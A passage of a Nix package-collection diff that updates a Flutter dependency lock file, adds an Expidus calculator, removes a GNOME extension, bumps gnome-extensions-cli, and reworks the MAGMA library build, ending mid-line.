"hosted", 141 + "version": "2.1.0" 142 + }, 143 + "file": { 144 + "dependency": "transitive", 145 + "description": { 146 + "name": "file", 147 + "sha256": "1b92bec4fc2a72f59a8e15af5f52cd441e4a7860b49499d69dfa817af20e925d", 148 + "url": "https://pub.dev" 149 + }, 150 + "source": "hosted", 151 + "version": "6.1.4" 152 + }, 153 + "filesize": { 154 + "dependency": "transitive", 155 + "description": { 156 + "name": "filesize", 157 + "sha256": "f53df1f27ff60e466eefcd9df239e02d4722d5e2debee92a87dfd99ac66de2af", 158 + "url": "https://pub.dev" 159 + }, 160 + "source": "hosted", 161 + "version": "2.0.1" 162 + }, 163 + "flutter": { 164 + "dependency": "direct main", 165 + "description": "flutter", 166 + "source": "sdk", 167 + "version": "0.0.0" 168 + }, 169 + "flutter_adaptive_scaffold": { 170 + "dependency": "direct main", 171 + "description": { 172 + "name": "flutter_adaptive_scaffold", 173 + "sha256": "3e78be8b9c95b1c9832b2f8ec4a845adac205c4bb5e7bd3fb204b07990229167", 174 + "url": "https://pub.dev" 175 + }, 176 + "source": "hosted", 177 + "version": "0.1.7+1" 178 + }, 179 + "flutter_lints": { 180 + "dependency": "direct dev", 181 + "description": { 182 + "name": "flutter_lints", 183 + "sha256": "a25a15ebbdfc33ab1cd26c63a6ee519df92338a9c10f122adda92938253bef04", 184 + "url": "https://pub.dev" 185 + }, 186 + "source": "hosted", 187 + "version": "2.0.3" 188 + }, 189 + "flutter_localizations": { 190 + "dependency": "direct main", 191 + "description": "flutter", 192 + "source": "sdk", 193 + "version": "0.0.0" 194 + }, 195 + "flutter_markdown": { 196 + "dependency": "direct main", 197 + "description": { 198 + "name": "flutter_markdown", 199 + "sha256": "d4a1cb250c4e059586af0235f32e02882860a508e189b61f2b31b8810c1e1330", 200 + "url": "https://pub.dev" 201 + }, 202 + "source": "hosted", 203 + "version": "0.6.17+2" 204 + }, 205 + "flutter_test": { 206 + "dependency": "direct dev", 207 + "description": "flutter", 208 + "source": "sdk", 209 + "version": "0.0.0" 210 + }, 211 + "flutter_web_plugins": { 212 + "dependency": "transitive", 213 + "description": "flutter", 214 + "source": "sdk", 215 + "version": "0.0.0" 216 + }, 217 + "http": { 218 + "dependency": "transitive", 219 + "description": { 220 + "name": "http", 221 + "sha256": "5895291c13fa8a3bd82e76d5627f69e0d85ca6a30dcac95c4ea19a5d555879c2", 222 + "url": "https://pub.dev" 223 + }, 224 + "source": "hosted", 225 + "version": "0.13.6" 226 + }, 227 + "http_parser": { 228 + "dependency": "transitive", 229 + "description": { 230 + "name": "http_parser", 231 + "sha256": "2aa08ce0341cc9b354a498388e30986515406668dbcc4f7c950c3e715496693b", 232 + "url": "https://pub.dev" 233 + }, 234 + "source": "hosted", 235 + "version": "4.0.2" 236 + }, 237 + "intl": { 238 + "dependency": "transitive", 239 + "description": { 240 + "name": "intl", 241 + "sha256": "a3715e3bc90294e971cb7dc063fbf3cd9ee0ebf8604ffeafabd9e6f16abbdbe6", 242 + "url": "https://pub.dev" 243 + }, 244 + "source": "hosted", 245 + "version": "0.18.0" 246 + }, 247 + "js": { 248 + "dependency": "transitive", 249 + "description": { 250 + "name": "js", 251 + "sha256": "f2c445dce49627136094980615a031419f7f3eb393237e4ecd97ac15dea343f3", 252 + "url": "https://pub.dev" 253 + }, 254 + "source": "hosted", 255 + "version": "0.6.7" 256 + }, 257 + "libtokyo": { 258 + "dependency": "direct main", 259 + "description": { 260 + "path": "packages/libtokyo", 261 + "ref": "f48d528ebfc22fe827fe9f2d1965be1d339ccfb7", 262 + "resolved-ref": "f48d528ebfc22fe827fe9f2d1965be1d339ccfb7", 263 + "url": "https://github.com/ExpidusOS/libtokyo.git" 264 + }, 265 + "source": "git", 266 + "version": "0.1.0" 267 + }, 268 + "libtokyo_flutter": { 269 + "dependency": "direct main", 270 + "description": { 271 + "path": "packages/libtokyo_flutter", 272 + "ref": "f48d528ebfc22fe827fe9f2d1965be1d339ccfb7", 273 + "resolved-ref": "f48d528ebfc22fe827fe9f2d1965be1d339ccfb7", 274 + "url": "https://github.com/ExpidusOS/libtokyo.git" 275 + }, 276 + "source": "git", 277 + "version": "0.1.0" 278 + }, 279 + "lints": { 280 + "dependency": "transitive", 281 + "description": { 282 + "name": "lints", 283 + "sha256": "0a217c6c989d21039f1498c3ed9f3ed71b354e69873f13a8dfc3c9fe76f1b452", 284 + "url": "https://pub.dev" 285 + }, 286 + "source": "hosted", 287 + "version": "2.1.1" 288 + }, 289 + "markdown": { 290 + "dependency": "direct main", 291 + "description": { 292 + "name": "markdown", 293 + "sha256": "acf35edccc0463a9d7384e437c015a3535772e09714cf60e07eeef3a15870dcd", 294 + "url": "https://pub.dev" 295 + }, 296 + "source": "hosted", 297 + "version": "7.1.1" 298 + }, 299 + "matcher": { 300 + "dependency": "transitive", 301 + "description": { 302 + "name": "matcher", 303 + "sha256": "6501fbd55da300384b768785b83e5ce66991266cec21af89ab9ae7f5ce1c4cbb", 304 + "url": "https://pub.dev" 305 + }, 306 + "source": "hosted", 307 + "version": "0.12.15" 308 + }, 309 + "material_color_utilities": { 310 + "dependency": "transitive", 311 + "description": { 312 + "name": "material_color_utilities", 313 + "sha256": "d92141dc6fe1dad30722f9aa826c7fbc896d021d792f80678280601aff8cf724", 314 + "url": "https://pub.dev" 315 + }, 316 + "source": "hosted", 317 + "version": "0.2.0" 318 + }, 319 + "material_theme_builder": { 320 + "dependency": "transitive", 321 + "description": { 322 + "name": "material_theme_builder", 323 + "sha256": "380ab70835e01f4ee0c37904eebae9e36ed37b5cf8ed40d67412ea3244a2afd6", 324 + "url": "https://pub.dev" 325 + }, 326 + "source": "hosted", 327 + "version": "1.0.4" 328 + }, 329 + "math_expressions": { 330 + "dependency": "direct main", 331 + "description": { 332 + "name": "math_expressions", 333 + "sha256": "3576593617c3870d75728a751f6ec6e606706d44e363f088ac394b5a28a98064", 334 + "url": "https://pub.dev" 335 + }, 336 + "source": "hosted", 337 + "version": "2.4.0" 338 + }, 339 + "meta": { 340 + "dependency": "transitive", 341 + "description": { 342 + "name": "meta", 343 + "sha256": "3c74dbf8763d36539f114c799d8a2d87343b5067e9d796ca22b5eb8437090ee3", 344 + "url": "https://pub.dev" 345 + }, 346 + "source": "hosted", 347 + "version": "1.9.1" 348 + }, 349 + "nested": { 350 + "dependency": "transitive", 351 + "description": { 352 + "name": "nested", 353 + "sha256": "03bac4c528c64c95c722ec99280375a6f2fc708eec17c7b3f07253b626cd2a20", 354 + "url": "https://pub.dev" 355 + }, 356 + "source": "hosted", 357 + "version": "1.0.0" 358 + }, 359 + "package_info_plus": { 360 + "dependency": "direct main", 361 + "description": { 362 + "name": "package_info_plus", 363 + "sha256": "10259b111176fba5c505b102e3a5b022b51dd97e30522e906d6922c745584745", 364 + "url": "https://pub.dev" 365 + }, 366 + "source": "hosted", 367 + "version": "3.1.2" 368 + }, 369 + "package_info_plus_platform_interface": { 370 + "dependency": "transitive", 371 + "description": { 372 + "name": "package_info_plus_platform_interface", 373 + "sha256": "9bc8ba46813a4cc42c66ab781470711781940780fd8beddd0c3da62506d3a6c6", 374 + "url": "https://pub.dev" 375 + }, 376 + "source": "hosted", 377 + "version": "2.0.1" 378 + }, 379 + "path": { 380 + "dependency": "transitive", 381 + "description": { 382 + "name": "path", 383 + "sha256": "8829d8a55c13fc0e37127c29fedf290c102f4e40ae94ada574091fe0ff96c917", 384 + "url": "https://pub.dev" 385 + }, 386 + "source": "hosted", 387 + "version": "1.8.3" 388 + }, 389 + "path_provider_linux": { 390 + "dependency": "transitive", 391 + "description": { 392 + "name": "path_provider_linux", 393 + "sha256": "f7a1fe3a634fe7734c8d3f2766ad746ae2a2884abe22e241a8b301bf5cac3279", 394 + "url": "https://pub.dev" 395 + }, 396 + "source": "hosted", 397 + "version": "2.2.1" 398 + }, 399 + "path_provider_platform_interface": { 400 + "dependency": "transitive", 401 + "description": { 402 + "name": "path_provider_platform_interface", 403 + "sha256": "94b1e0dd80970c1ce43d5d4e050a9918fce4f4a775e6142424c30a29a363265c", 404 + "url": "https://pub.dev" 405 + }, 406 + "source": "hosted", 407 + "version": "2.1.1" 408 + }, 409 + "path_provider_windows": { 410 + "dependency": "transitive", 411 + "description": { 412 + "name": "path_provider_windows", 413 + "sha256": "8bc9f22eee8690981c22aa7fc602f5c85b497a6fb2ceb35ee5a5e5ed85ad8170", 414 + "url": "https://pub.dev" 415 + }, 416 + "source": "hosted", 417 + "version": "2.2.1" 418 + }, 419 + "platform": { 420 + "dependency": "transitive", 421 + "description": { 422 + "name": "platform", 423 + "sha256": "ae68c7bfcd7383af3629daafb32fb4e8681c7154428da4febcff06200585f102", 424 + "url": "https://pub.dev" 425 + }, 426 + "source": "hosted", 427 + "version": "3.1.2" 428 + }, 429 + "plugin_platform_interface": { 430 + "dependency": "transitive", 431 + "description": { 432 + "name": "plugin_platform_interface", 433 + "sha256": "da3fdfeccc4d4ff2da8f8c556704c08f912542c5fb3cf2233ed75372384a034d", 434 + "url": "https://pub.dev" 435 + }, 436 + "source": "hosted", 437 + "version": "2.1.6" 438 + }, 439 + "provider": { 440 + "dependency": "direct main", 441 + "description": { 442 + "name": "provider", 443 + "sha256": "cdbe7530b12ecd9eb455bdaa2fcb8d4dad22e80b8afb4798b41479d5ce26847f", 444 + "url": "https://pub.dev" 445 + }, 446 + "source": "hosted", 447 + "version": "6.0.5" 448 + }, 449 + "pub_semver": { 450 + "dependency": "direct main", 451 + "description": { 452 + "name": "pub_semver", 453 + "sha256": "40d3ab1bbd474c4c2328c91e3a7df8c6dd629b79ece4c4bd04bee496a224fb0c", 454 + "url": "https://pub.dev" 455 + }, 456 + "source": "hosted", 457 + "version": "2.1.4" 458 + }, 459 + "pubspec": { 460 + "dependency": "direct main", 461 + "description": { 462 + "name": "pubspec", 463 + "sha256": "f534a50a2b4d48dc3bc0ec147c8bd7c304280fff23b153f3f11803c4d49d927e", 464 + "url": "https://pub.dev" 465 + }, 466 + "source": "hosted", 467 + "version": "2.3.0" 468 + }, 469 + "quiver": { 470 + "dependency": "transitive", 471 + "description": { 472 + "name": "quiver", 473 + "sha256": "b1c1ac5ce6688d77f65f3375a9abb9319b3cb32486bdc7a1e0fdf004d7ba4e47", 474 + "url": "https://pub.dev" 475 + }, 476 + "source": "hosted", 477 + "version": "3.2.1" 478 + }, 479 + "sentry": { 480 + "dependency": "transitive", 481 + "description": { 482 + "name": "sentry", 483 + "sha256": "39c23342fc96105da449914f7774139a17a0ca8a4e70d9ad5200171f7e47d6ba", 484 + "url": "https://pub.dev" 485 + }, 486 + "source": "hosted", 487 + "version": "7.9.0" 488 + }, 489 + "sentry_flutter": { 490 + "dependency": "direct main", 491 + "description": { 492 + "name": "sentry_flutter", 493 + "sha256": "ff68ab31918690da004a42e20204242a3ad9ad57da7e2712da8487060ac9767f", 494 + "url": "https://pub.dev" 495 + }, 496 + "source": "hosted", 497 + "version": "7.9.0" 498 + }, 499 + "shared_preferences": { 500 + "dependency": "direct main", 501 + "description": { 502 + "name": "shared_preferences", 503 + "sha256": "b7f41bad7e521d205998772545de63ff4e6c97714775902c199353f8bf1511ac", 504 + "url": "https://pub.dev" 505 + }, 506 + "source": "hosted", 507 + "version": "2.2.1" 508 + }, 509 + "shared_preferences_android": { 510 + "dependency": "transitive", 511 + "description": { 512 + "name": "shared_preferences_android", 513 + "sha256": "8568a389334b6e83415b6aae55378e158fbc2314e074983362d20c562780fb06", 514 + "url": "https://pub.dev" 515 + }, 516 + "source": "hosted", 517 + "version": "2.2.1" 518 + }, 519 + "shared_preferences_foundation": { 520 + "dependency": "transitive", 521 + "description": { 522 + "name": "shared_preferences_foundation", 523 + "sha256": "7bf53a9f2d007329ee6f3df7268fd498f8373602f943c975598bbb34649b62a7", 524 + "url": "https://pub.dev" 525 + }, 526 + "source": "hosted", 527 + "version": "2.3.4" 528 + }, 529 + "shared_preferences_linux": { 530 + "dependency": "transitive", 531 + "description": { 532 + "name": "shared_preferences_linux", 533 + "sha256": "c2eb5bf57a2fe9ad6988121609e47d3e07bb3bdca5b6f8444e4cf302428a128a", 534 + "url": "https://pub.dev" 535 + }, 536 + "source": "hosted", 537 + "version": "2.3.1" 538 + }, 539 + "shared_preferences_platform_interface": { 540 + "dependency": "transitive", 541 + "description": { 542 + "name": "shared_preferences_platform_interface", 543 + "sha256": "d4ec5fc9ebb2f2e056c617112aa75dcf92fc2e4faaf2ae999caa297473f75d8a", 544 + "url": "https://pub.dev" 545 + }, 546 + "source": "hosted", 547 + "version": "2.3.1" 548 + }, 549 + "shared_preferences_web": { 550 + "dependency": "transitive", 551 + "description": { 552 + "name": "shared_preferences_web", 553 + "sha256": "d762709c2bbe80626ecc819143013cc820fa49ca5e363620ee20a8b15a3e3daf", 554 + "url": "https://pub.dev" 555 + }, 556 + "source": "hosted", 557 + "version": "2.2.1" 558 + }, 559 + "shared_preferences_windows": { 560 + "dependency": "transitive", 561 + "description": { 562 + "name": "shared_preferences_windows", 563 + "sha256": "f763a101313bd3be87edffe0560037500967de9c394a714cd598d945517f694f", 564 + "url": "https://pub.dev" 565 + }, 566 + "source": "hosted", 567 + "version": "2.3.1" 568 + }, 569 + "sky_engine": { 570 + "dependency": "transitive", 571 + "description": "flutter", 572 + "source": "sdk", 573 + "version": "0.0.99" 574 + }, 575 + "source_span": { 576 + "dependency": "transitive", 577 + "description": { 578 + "name": "source_span", 579 + "sha256": "dd904f795d4b4f3b870833847c461801f6750a9fa8e61ea5ac53f9422b31f250", 580 + "url": "https://pub.dev" 581 + }, 582 + "source": "hosted", 583 + "version": "1.9.1" 584 + }, 585 + "stack_trace": { 586 + "dependency": "transitive", 587 + "description": { 588 + "name": "stack_trace", 589 + "sha256": "c3c7d8edb15bee7f0f74debd4b9c5f3c2ea86766fe4178eb2a18eb30a0bdaed5", 590 + "url": "https://pub.dev" 591 + }, 592 + "source": "hosted", 593 + "version": "1.11.0" 594 + }, 595 + "stream_channel": { 596 + "dependency": "transitive", 597 + "description": { 598 + "name": "stream_channel", 599 + "sha256": "83615bee9045c1d322bbbd1ba209b7a749c2cbcdcb3fdd1df8eb488b3279c1c8", 600 + "url": "https://pub.dev" 601 + }, 602 + "source": "hosted", 603 + "version": "2.1.1" 604 + }, 605 + "string_scanner": { 606 + "dependency": "transitive", 607 + "description": { 608 + "name": "string_scanner", 609 + "sha256": "556692adab6cfa87322a115640c11f13cb77b3f076ddcc5d6ae3c20242bedcde", 610 + "url": "https://pub.dev" 611 + }, 612 + "source": "hosted", 613 + "version": "1.2.0" 614 + }, 615 + "term_glyph": { 616 + "dependency": "transitive", 617 + "description": { 618 + "name": "term_glyph", 619 + "sha256": "a29248a84fbb7c79282b40b8c72a1209db169a2e0542bce341da992fe1bc7e84", 620 + "url": "https://pub.dev" 621 + }, 622 + "source": "hosted", 623 + "version": "1.2.1" 624 + }, 625 + "test_api": { 626 + "dependency": "transitive", 627 + "description": { 628 + "name": "test_api", 629 + "sha256": "eb6ac1540b26de412b3403a163d919ba86f6a973fe6cc50ae3541b80092fdcfb", 630 + "url": "https://pub.dev" 631 + }, 632 + "source": "hosted", 633 + "version": "0.5.1" 634 + }, 635 + "typed_data": { 636 + "dependency": "transitive", 637 + "description": { 638 + "name": "typed_data", 639 + "sha256": "facc8d6582f16042dd49f2463ff1bd6e2c9ef9f3d5da3d9b087e244a7b564b3c", 640 + "url": "https://pub.dev" 641 + }, 642 + "source": "hosted", 643 + "version": "1.3.2" 644 + }, 645 + "uri": { 646 + "dependency": "transitive", 647 + "description": { 648 + "name": "uri", 649 + "sha256": "889eea21e953187c6099802b7b4cf5219ba8f3518f604a1033064d45b1b8268a", 650 + "url": "https://pub.dev" 651 + }, 652 + "source": "hosted", 653 + "version": "1.0.0" 654 + }, 655 + "url_launcher": { 656 + "dependency": "direct main", 657 + "description": { 658 + "name": "url_launcher", 659 + "sha256": "47e208a6711459d813ba18af120d9663c20bdf6985d6ad39fe165d2538378d27", 660 + "url": "https://pub.dev" 661 + }, 662 + "source": "hosted", 663 + "version": "6.1.14" 664 + }, 665 + "url_launcher_android": { 666 + "dependency": "transitive", 667 + "description": { 668 + "name": "url_launcher_android", 669 + "sha256": "b04af59516ab45762b2ca6da40fa830d72d0f6045cd97744450b73493fa76330", 670 + "url": "https://pub.dev" 671 + }, 672 + "source": "hosted", 673 + "version": "6.1.0" 674 + }, 675 + "url_launcher_ios": { 676 + "dependency": "transitive", 677 + "description": { 678 + "name": "url_launcher_ios", 679 + "sha256": "7c65021d5dee51813d652357bc65b8dd4a6177082a9966bc8ba6ee477baa795f", 680 + "url": "https://pub.dev" 681 + }, 682 + "source": "hosted", 683 + "version": "6.1.5" 684 + }, 685 + "url_launcher_linux": { 686 + "dependency": "transitive", 687 + "description": { 688 + "name": "url_launcher_linux", 689 + "sha256": "b651aad005e0cb06a01dbd84b428a301916dc75f0e7ea6165f80057fee2d8e8e", 690 + "url": "https://pub.dev" 691 + }, 692 + "source": "hosted", 693 + "version": "3.0.6" 694 + }, 695 + "url_launcher_macos": { 696 + "dependency": "transitive", 697 + "description": { 698 + "name": "url_launcher_macos", 699 + "sha256": "b55486791f666e62e0e8ff825e58a023fd6b1f71c49926483f1128d3bbd8fe88", 700 + "url": "https://pub.dev" 701 + }, 702 + "source": "hosted", 703 + "version": "3.0.7" 704 + }, 705 + "url_launcher_platform_interface": { 706 + "dependency": "transitive", 707 + "description": { 708 + "name": "url_launcher_platform_interface", 709 + "sha256": "95465b39f83bfe95fcb9d174829d6476216f2d548b79c38ab2506e0458787618", 710 + "url": "https://pub.dev" 711 + }, 712 + "source": "hosted", 713 + "version": "2.1.5" 714 + }, 715 + "url_launcher_web": { 716 + "dependency": "transitive", 717 + "description": { 718 + "name": "url_launcher_web", 719 + "sha256": "ba140138558fcc3eead51a1c42e92a9fb074a1b1149ed3c73e66035b2ccd94f2", 720 + "url": "https://pub.dev" 721 + }, 722 + "source": "hosted", 723 + "version": "2.0.19" 724 + }, 725 + "url_launcher_windows": { 726 + "dependency": "transitive", 727 + "description": { 728 + "name": "url_launcher_windows", 729 + "sha256": "95fef3129dc7cfaba2bc3d5ba2e16063bb561fc6d78e63eee16162bc70029069", 730 + "url": "https://pub.dev" 731 + }, 732 + "source": "hosted", 733 + "version": "3.0.8" 734 + }, 735 + "uuid": { 736 + "dependency": "transitive", 737 + "description": { 738 + "name": "uuid", 739 + "sha256": "648e103079f7c64a36dc7d39369cabb358d377078a051d6ae2ad3aa539519313", 740 + "url": "https://pub.dev" 741 + }, 742 + "source": "hosted", 743 + "version": "3.0.7" 744 + }, 745 + "vector_math": { 746 + "dependency": "transitive", 747 + "description": { 748 + "name": "vector_math", 749 + "sha256": "80b3257d1492ce4d091729e3a67a60407d227c27241d6927be0130c98e741803", 750 + "url": "https://pub.dev" 751 + }, 752 + "source": "hosted", 753 + "version": "2.1.4" 754 + }, 755 + "win32": { 756 + "dependency": "transitive", 757 + "description": { 758 + "name": "win32", 759 + "sha256": "a6f0236dbda0f63aa9a25ad1ff9a9d8a4eaaa5012da0dc59d21afdb1dc361ca4", 760 + "url": "https://pub.dev" 761 + }, 762 + "source": "hosted", 763 + "version": "3.1.4" 764 + }, 765 + "xdg_directories": { 766 + "dependency": "transitive", 767 + "description": { 768 + "name": "xdg_directories", 769 + "sha256": "589ada45ba9e39405c198fe34eb0f607cddb2108527e658136120892beac46d2", 770 + "url": "https://pub.dev" 771 + }, 772 + "source": "hosted", 773 + "version": "1.0.3" 774 + }, 775 + "yaml": { 776 + "dependency": "transitive", 777 + "description": { 778 + "name": "yaml", 779 + "sha256": "75769501ea3489fca56601ff33454fe45507ea3bfb014161abc3b43ae25989d5", 780 + "url": "https://pub.dev" 781 + }, 782 + "source": "hosted", 783 + "version": "3.1.2" 784 + } 785 + }, 786 + "sdks": { 787 + "dart": ">=3.0.5 <4.0.0", 788 + "flutter": ">=3.10.0" 789 + } 790 + }
+1
pkgs/desktops/expidus/default.nix
··· 1 { callPackage }: 2 { 3 file-manager = callPackage ./file-manager {}; 4 }
··· 1 { callPackage }: 2 { 3 + calculator = callPackage ./calculator {}; 4 file-manager = callPackage ./file-manager {}; 5 }
+1
pkgs/desktops/gnome/extensions/default.nix
··· 81 arc-menu = gnomeExtensions.arcmenu; # added 2021-02-14 82 disable-unredirect = gnomeExtensions.disable-unredirect-fullscreen-windows; # added 2021-11-20 83 84 nohotcorner = throw "gnomeExtensions.nohotcorner removed since 2019-10-09: Since 3.34, it is a part of GNOME Shell configurable through GNOME Tweaks."; 85 mediaplayer = throw "gnomeExtensions.mediaplayer deprecated since 2019-09-23: retired upstream https://github.com/JasonLG1979/gnome-shell-extensions-mediaplayer/blob/master/README.md"; 86 remove-dropdown-arrows = throw "gnomeExtensions.remove-dropdown-arrows removed since 2021-05-25: The extensions has not seen an update sine GNOME 3.34. Furthermore, the functionality it provides is obsolete as of GNOME 40.";
··· 81 arc-menu = gnomeExtensions.arcmenu; # added 2021-02-14 82 disable-unredirect = gnomeExtensions.disable-unredirect-fullscreen-windows; # added 2021-11-20 83 84 + icon-hider = throw "gnomeExtensions.icon-hider was removed on 2024-03-15. The extension has not received any updates since 2020/3.34."; 85 nohotcorner = throw "gnomeExtensions.nohotcorner removed since 2019-10-09: Since 3.34, it is a part of GNOME Shell configurable through GNOME Tweaks."; 86 mediaplayer = throw "gnomeExtensions.mediaplayer deprecated since 2019-09-23: retired upstream https://github.com/JasonLG1979/gnome-shell-extensions-mediaplayer/blob/master/README.md"; 87 remove-dropdown-arrows = throw "gnomeExtensions.remove-dropdown-arrows removed since 2021-05-25: The extensions has not seen an update sine GNOME 3.34. Furthermore, the functionality it provides is obsolete as of GNOME 40.";
-1
pkgs/desktops/gnome/extensions/manuallyPackaged.nix
··· 6 "drop-down-terminal@gs-extensions.zzrough.org" = callPackage ./drop-down-terminal { }; 7 "EasyScreenCast@iacopodeenosee.gmail.com" = callPackage ./EasyScreenCast { }; 8 "gsconnect@andyholmes.github.io" = callPackage ./gsconnect { }; 9 - "icon-hider@kalnitsky.org" = callPackage ./icon-hider { }; 10 "impatience@gfxmonk.net" = callPackage ./impatience { }; 11 "no-title-bar@jonaspoehler.de" = callPackage ./no-title-bar { }; 12 "pidgin@muffinmad" = callPackage ./pidgin-im-integration { };
··· 6 "drop-down-terminal@gs-extensions.zzrough.org" = callPackage ./drop-down-terminal { }; 7 "EasyScreenCast@iacopodeenosee.gmail.com" = callPackage ./EasyScreenCast { }; 8 "gsconnect@andyholmes.github.io" = callPackage ./gsconnect { }; 9 "impatience@gfxmonk.net" = callPackage ./impatience { }; 10 "no-title-bar@jonaspoehler.de" = callPackage ./no-title-bar { }; 11 "pidgin@muffinmad" = callPackage ./pidgin-im-integration { };
+4 -4
pkgs/desktops/gnome/misc/gnome-extensions-cli/default.nix
··· 4 , pythonRelaxDepsHook 5 , poetry-core 6 , colorama 7 - , more-itertools 8 , packaging 9 , pydantic_1 10 , requests 11 , pygobject3 12 , gobject-introspection 13 , wrapGAppsNoGuiHook 14 }: 15 16 buildPythonApplication rec { 17 pname = "gnome-extensions-cli"; 18 - version = "0.9.5"; 19 format = "pyproject"; 20 21 src = fetchPypi { 22 pname = "gnome_extensions_cli"; 23 inherit version; 24 - hash = "sha256-4eRVmG5lqK8ql9WpvXsf18znOt7kDSnpQnLfy73doy4="; 25 }; 26 27 nativeBuildInputs = [ ··· 37 38 propagatedBuildInputs = [ 39 colorama 40 - more-itertools 41 packaging 42 pydantic_1 43 requests 44 pygobject3 45 ]; 46 47 pythonImportsCheck = [
··· 4 , pythonRelaxDepsHook 5 , poetry-core 6 , colorama 7 , packaging 8 , pydantic_1 9 , requests 10 , pygobject3 11 + , tqdm 12 , gobject-introspection 13 , wrapGAppsNoGuiHook 14 }: 15 16 buildPythonApplication rec { 17 pname = "gnome-extensions-cli"; 18 + version = "0.10.1"; 19 format = "pyproject"; 20 21 src = fetchPypi { 22 pname = "gnome_extensions_cli"; 23 inherit version; 24 + hash = "sha256-yAoo3NjNtTZSHmbLKzW2X7Cy2smLNp8/9vo+OPGxlVY="; 25 }; 26 27 nativeBuildInputs = [ ··· 37 38 propagatedBuildInputs = [ 39 colorama 40 packaging 41 pydantic_1 42 requests 43 pygobject3 44 + tqdm 45 ]; 46 47 pythonImportsCheck = [
+67 -25
pkgs/development/libraries/science/math/magma/generic.nix
··· 5 # supportedGpuTargets: List String 6 # } 7 8 - { blas 9 , cmake 10 , cudaPackages 11 , cudaSupport ? config.cudaSupport ··· 19 , libpthreadstubs 20 , magmaRelease 21 , ninja 22 , config 23 # At least one back-end has to be enabled, 24 # and we can't default to CUDA since it's unfree 25 , rocmSupport ? !cudaSupport 26 , static ? stdenv.hostPlatform.isStatic 27 , stdenv 28 - , symlinkJoin 29 }: 30 31 32 let 33 inherit (lib) lists strings trivial; 34 - inherit (cudaPackages) backendStdenv cudaFlags cudaVersion; 35 inherit (magmaRelease) version hash supportedGpuTargets; 36 37 # NOTE: The lists.subtractLists function is perhaps a bit unintuitive. It subtracts the elements ··· 95 inherit hash; 96 }; 97 98 nativeBuildInputs = [ 99 cmake 100 ninja 101 gfortran ··· 107 libpthreadstubs 108 lapack 109 blas 110 ] ++ lists.optionals cudaSupport (with cudaPackages; [ 111 cuda_cudart.dev # cuda_runtime.h 112 cuda_cudart.lib # cudart ··· 115 libcublas.lib # cublas 116 libcusparse.dev # cusparse.h 117 libcusparse.lib # cusparse 118 - ] ++ lists.optionals (strings.versionOlder cudaVersion "11.8") [ 119 cuda_nvprof.dev # <cuda_profiler_api.h> 120 - ] ++ lists.optionals (strings.versionAtLeast cudaVersion "11.8") [ 121 cuda_profiler_api.dev # <cuda_profiler_api.h> 122 - ] ++ lists.optionals (strings.versionAtLeast cudaVersion "12.0") [ 123 cuda_cccl.dev # <nv/target> 124 ]) ++ lists.optionals rocmSupport [ 125 rocmPackages.clr ··· 129 ]; 130 131 cmakeFlags = [ 132 - "-DGPU_TARGET=${gpuTargetString}" 133 - (lib.cmakeBool "MAGMA_ENABLE_CUDA" cudaSupport) 134 - (lib.cmakeBool "MAGMA_ENABLE_HIP" rocmSupport) 135 - ] ++ lists.optionals static [ 136 - "-DBUILD_SHARED_LIBS=OFF" 137 ] ++ lists.optionals cudaSupport [ 138 - "-DCMAKE_CUDA_ARCHITECTURES=${cudaArchitecturesString}" 139 - "-DMIN_ARCH=${minArch}" # Disarms magma's asserts 140 - "-DCMAKE_C_COMPILER=${backendStdenv.cc}/bin/cc" 141 - "-DCMAKE_CXX_COMPILER=${backendStdenv.cc}/bin/c++" 142 ] ++ lists.optionals rocmSupport [ 143 - "-DCMAKE_C_COMPILER=${rocmPackages.clr}/bin/hipcc" 144 - "-DCMAKE_CXX_COMPILER=${rocmPackages.clr}/bin/hipcc" 145 - ] ++ lists.optionals (cudaPackages.cudaAtLeast "12.0.0") [ 146 - (lib.cmakeBool "USE_FORTRAN" false) 147 ]; 148 149 - buildFlags = [ 150 - "magma" 151 - "magma_sparse" 152 - ]; 153 - 154 doCheck = false; 155 156 passthru = { 157 inherit cudaPackages cudaSupport rocmSupport gpuTargets; 158 }; ··· 168 broken = 169 !(cudaSupport || rocmSupport) # At least one back-end enabled 170 || (cudaSupport && rocmSupport) # Mutually exclusive 171 - || (cudaSupport && strings.versionOlder cudaVersion "9"); 172 }; 173 }
··· 5 # supportedGpuTargets: List String 6 # } 7 8 + { autoPatchelfHook 9 + , blas 10 , cmake 11 , cudaPackages 12 , cudaSupport ? config.cudaSupport ··· 20 , libpthreadstubs 21 , magmaRelease 22 , ninja 23 + , python3 24 , config 25 # At least one back-end has to be enabled, 26 # and we can't default to CUDA since it's unfree 27 , rocmSupport ? !cudaSupport 28 , static ? stdenv.hostPlatform.isStatic 29 , stdenv 30 }: 31 32 33 let 34 inherit (lib) lists strings trivial; 35 + inherit (cudaPackages) cudaAtLeast cudaFlags cudaOlder; 36 inherit (magmaRelease) version hash supportedGpuTargets; 37 38 # NOTE: The lists.subtractLists function is perhaps a bit unintuitive. It subtracts the elements ··· 96 inherit hash; 97 }; 98 99 + # Magma doesn't have anything which could be run under doCheck, but it does build test suite executables. 100 + # These are moved to $test/bin/ and $test/lib/ in postInstall. 101 + outputs = ["out" "test"]; 102 + 103 + # Fixup for the python test runners 104 + postPatch = '' 105 + patchShebangs ./testing/run_{tests,summarize}.py 106 + substituteInPlace ./testing/run_tests.py \ 107 + --replace-fail \ 108 + "print >>sys.stderr, cmdp, \"doesn't exist (original name: \" + cmd + \", precision: \" + precision + \")\"" \ 109 + "print(f\"{cmdp} doesn't exist (original name: {cmd}, precision: {precision})\", file=sys.stderr)" 110 + ''; 111 + 112 nativeBuildInputs = [ 113 + autoPatchelfHook 114 cmake 115 ninja 116 gfortran ··· 122 libpthreadstubs 123 lapack 124 blas 125 + python3 126 ] ++ lists.optionals cudaSupport (with cudaPackages; [ 127 cuda_cudart.dev # cuda_runtime.h 128 cuda_cudart.lib # cudart ··· 131 libcublas.lib # cublas 132 libcusparse.dev # cusparse.h 133 libcusparse.lib # cusparse 134 + ] ++ lists.optionals (cudaOlder "11.8") [ 135 cuda_nvprof.dev # <cuda_profiler_api.h> 136 + ] ++ lists.optionals (cudaAtLeast "11.8") [ 137 cuda_profiler_api.dev # <cuda_profiler_api.h> 138 + ] ++ lists.optionals (cudaAtLeast "12.0") [ 139 cuda_cccl.dev # <nv/target> 140 ]) ++ lists.optionals rocmSupport [ 141 rocmPackages.clr ··· 145 ]; 146 147 cmakeFlags = [ 148 + (strings.cmakeFeature "GPU_TARGET" gpuTargetString) 149 + (strings.cmakeBool "MAGMA_ENABLE_CUDA" cudaSupport) 150 + (strings.cmakeBool "MAGMA_ENABLE_HIP" rocmSupport) 151 + (strings.cmakeBool 